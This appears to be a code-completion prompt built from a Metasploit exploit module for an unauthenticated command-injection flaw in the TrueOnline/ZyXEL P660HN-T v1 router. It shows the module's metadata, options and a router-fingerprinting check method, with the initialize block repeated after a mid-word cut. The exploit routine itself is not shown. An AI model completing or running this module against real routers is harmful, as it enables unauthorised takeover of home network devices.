You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: trueonline_p660hn_v1_rce.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection',
      'Description'    => %q{
        TrueOnline is a major ISP in Thailand, and it distributes a customized version of
        the ZyXEL P660HN-T v1 router. This customized version has an unauthenticated command
        injection vulnerability in the remote log forwarding page.
        This module was tested in an emulated environment, as the author doesn't have access to the
        Thai router any more. Any feedback should be sent directly to the module's author, as well as
        to the Metasploit project.
        There are other language strings in the firmware, so it is likely that this firmware is not o
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection',
      'Description'    => %q{
        TrueOnline is a major ISP in Thailand, and it distributes a customized version of
        the ZyXEL P660HN-T v1 router. This customized version has an unauthenticated command
        injection vulnerability in the remote log forwarding page.
        This module was tested in an emulated environment, as the author doesn't have access to the
        Thai router any more. Any feedback should be sent directly to the module's author, as well as
        to the Metasploit project.
        There are other language strings in the firmware, so it is likely that this firmware is not only
        distributed in Thailand. Other P660HN-T v1 in other countries might be vulnerable too.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'References'     =>
        [
          ['CVE', '2017-18368'],
          ['URL', 'https://seclists.org/fulldisclosure/2017/Jan/40'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'],
          ['URL', 'https://blogs.securiteam.com/index.php/archives/2910']
        ],
      'Targets'        =>
        [
          [ 'P660HN-T v1', {}],
        ],
      'Privileged'     => true,
      'Arch'           => ARCH_CMD,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DisclosureDate'  => '2016-12-26',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(80),
        OptInt.new('TelnetPort', [true, "Telnet port we're going to use", 9999]),
      ])
  end

  def check
    res = send_request_cgi!({
      'uri'     => '/cgi-bin/authorize.asp',
      'method'  => 'GET'
    })
    if res && res.body =~ /ZyXEL P-660HN-T1A/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end